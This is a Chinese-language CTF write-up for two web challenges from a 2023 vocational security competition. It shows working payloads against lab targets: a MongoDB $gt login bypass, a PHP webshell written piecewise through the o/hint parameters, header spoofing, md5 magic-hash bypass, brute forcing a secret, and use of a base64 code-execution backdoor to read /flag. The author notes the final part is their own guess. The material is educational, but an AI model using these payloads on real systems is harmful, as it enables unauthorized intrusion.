2023年全国职业院校技能大赛信息安全管理与评估-3阶段web解析(writeup)

2023年全国职业院校技能大赛信息安全管理与评估-3阶段web解析(writeup)

# 人力资源管理系统

后续我也会分享其他资源到我的博客感兴趣的可以关注

  • 2.1 复盘解析
    访问靶机IP

    在robots.txt里面能看到一个nosql.php,然后这里就会给出第一个flag
    来到nosql.php之后会发现是登入页面
    尝试弱口令(这里可以尝试 hydra+burp进行爆破) 这里随便输入一个账号密码显示登录失败
    MongoDB 与 RDBMS Where 语句的比较
操作 格式 范例 RDBMS 中的类似语句
等于 {:} db.love.find({“name”:“whoami”}).pretty() where name = ‘whoami’
小于 {:{$lt:}} db.love.find({“age”:{$lt:19}}).pretty() where age < 19
小于或等于 {:{$lte:}} db.love.find({“age”:{$lte:19}}).pretty() where likes <= 19
大于 {:{$gt:}} db.love.find({“age”:{$gt:19}}).pretty() where likes > 19
大于或等于 {:{$gte:}} db.love.find({“age”:{$gte:19}}).pretty() where likes >= 19
不等于 {:{$ne:}} db.love.find({“age”:{$ne:19}}).pretty() where likes != 19

这里选了$get(大于)某个数的值会被列出

nosql.php?username[$gt]=&password[$gt]=

可以看到这里列出了所有的用户名密码,在这里就会得到此题的第二个flag

查看源代码可以发现页面给了两个参数提示一个o一个hint

<?php $o = intval($_GET['o']);   $hint = $_POST['hint']; ?>


尝试传入o跟hint,可以发现我们传入的被写入跟执行了
那么这里写个shell进去,每写4个字符o都+4

o=1
hint=<?= 

o=5
hint=syst

o=9
hint=em($

o=13
hint=_GET

o=17
hint=[1])

o=21
hint=;// 

在这就写入了一个shell
执行一下ls命令,然后cat 一下/flag即可得到第三个flag

#邮件管理系统

直接访问页面会跳401未授权,这里我试了XFF头啥的绕过无果
查看一下robots.txt发现提示了 weblogs_manage.php
访问了一样跳401未授权,这里我就用了dirbuster的大目录字典扫出来一个emails
访问发现可以目录遍历
查看f1发现说因为编辑器备份文件泄露导致了安全漏洞
这里就想到了vim编辑器那个,这里下载 .weblogs_manage.php.swp文件

wget 192.168.31.148/.weblogs_manage.php.swp 

新建一个weblogs_manage.php在vim编辑按R恢复

touch weblogs_manage.php
vim weblogs_manage.php
R

即可成功恢复源码
这里主要代码是

<?php
error_reporting(0);
if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){
    header("Location: template/401.html");
    exit();
}
$key1=$_REQUEST['key1'];
if(!empty($key1)){
    require_once 'next.php';
    if(md5($key1)=="0e230420452993424058024229903331"){
        $key2=$_REQUEST['key2'];
        if(!empty($key2)){
            for($i=0;$i<strlen($key2);$i++){
                
                $o=ord($key2[$i])^ord('o');
                
                if($o=="95" || $o=="32"){
                    if(md5($key2)=="5bacf485801484d2ea1d0237782e6629"){
                        $key3=$_REQUEST['key3'];
                        if(!empty($key3)){
                            if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){
                                if($key3==$SECRET){
                                    die($next); // log
                                }
                            }else{
                                die("CODE: 3 Error!");
                            }
                        }
                    }
                }else{
                    die("CODE: 2 Error!");
                }
            }
        }
    }else{
        die("CODE: 1 Error!");
    }
}
?>

首先需要绕过这个401

if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){
    header("Location: template/401.html");
    exit();
}

只需要在请求的时候带上,这个一开始是看其他请求头的格式首字母大写然后_改-尝试出来的,这样即可绕过401

Internal-Auth: 10.10.10.1


接下来需要传入 k e y 1 − 3 来绕过限制,这里来到第一个 key1-3来绕过限制,这里来到第一个 key13来绕过限制,这里来到第一个key的限制,很明显是要一个md5加密后为0e的数字才能绕过

if(md5($key1)=="0e230420452993424058024229903331"

拿php去跑一下试试看,跑出来一个0e215962017

<?php
for($i=0;$i<9999999999999;$i++){
    $r="0e".$i;
    if(md5($r)=="0e230420452993424058024229903331"){
        die($r);
    }
}


成功过了第一个$key的限制

第二个$key的限制比较麻烦,需要每一位^ord(‘o’)后等于95或者32

先遍历了所有字符看什么字符^后等于95 32 得到0O

那么就是由0O组成的字符串md5加密后要等于5bacf485801484d2ea1d0237782e6629
这里我的思路就是去生成字典,然后我就去翻kali的字典生成工具,因为以前用过然后就找到了crunch

生成一个1-16位0O组成的字典

crunch 1 16 0O  > dict

接下来就是有点难度的 k e y 3 , 他这里的条件是需要我们传入的 key3,他这里的条件是需要我们传入的 key3,他这里的条件是需要我们传入的key3等于他的 S E C R E T 这里的 SECRET这里的 SECRET这里的SECRET来自于上面的require_once ‘next.php’

if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){
if($key3==$SECRET){
    die($next); // log
}

这里其实可以忽略第二个条件也就是strlen的长度比较只需要看 k e y 3 > key3> key3>SECRET这个条件,因为php里面两个字符串比较是一位一位比较的具体解释我这里用chatgpt的回答

当比较php中两个字符串变量key3和key3和SECRET的大小时,可以使用大于号(>)进行比较操作。具体流程如下:

1.获取变量key3和key3和SECRET的字符串值。
2.将这两个字符串按字典顺序逐个字符进行比较,直到找到第一个不同的字符为止。
3.如果key3中的当前字符的key
ASCII码大于key3中的当前字符的ASCII码大于SECRET中对应位置上的字符的ASCII码,则key3大于key3大于SECRET。
4.如果key3中的当前字符的keyASCII码小于key3中的当前字符的ASCII码小于SECRET中对应位置上的字符的ASCII码,则key3小于key3小于SECRET。
5.如果key3和key3和SECRET中的字符完全相同,则比较下一个字符。
6.如果其中一个字符串比另一个字符串短,则较短的字符串被认为是较小的。
7.如果两个字符串完全相同,则认为它们是相等的。
8.比较过程结束后,根据比较结果返回布尔值(true或false),表示key3是否大于key3是否大于SECRET。

也可以通过一位一位的比较来获取正确的SECRET,比如这里我们输入1提示CODE3错误

输入2也错误输入3页面正常,那么得到第一位是2
接下来可以用burp的Intruder模块来一位一位爆破出来,像这里爆破第一位字母有3个字母页面都为ture返回正常这里查一下ascii可以发现x是最小的x的前一位是w那么第五位就是w
最终算出key3等于2023welc0me,传进去后得到一个txt地址/security_log_/log.txt

访问日志是一大堆乱糟糟的日志
注意!!我做到这里比赛结束了后面的内容是我自己想的,可能跟真实比赛有出入仅供参考

把日志下载到本地然后grep正则提取出访问的文件内容

grep -oP '(?<=POST|GET)\s\S+(?= HTTP)' log.txt


然后burp批量访问一下通过aEahcEeh.php?oTGGW=zsqBtOR得到了flag-1
然后paObZJkw.php?SjSMeB=wUWp发现是404但是是页面返回的是"There is nothing here."猜测是被入侵后留下的shell
这里最后通过测试发现传入base64的值即可执行代码
paObZJkw.php?SjSMeB=cGhwaW5mbygpOw==
然后cat /flag 结束
文章参考于https://blog.mo60.***/index.php/archives/2023-China-Skills-Security-web1.html(这里有环境搭建教程)

转载请说明出处内容投诉
CSS教程_站长资源网 » 2023年全国职业院校技能大赛信息安全管理与评估-3阶段web解析(writeup)

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买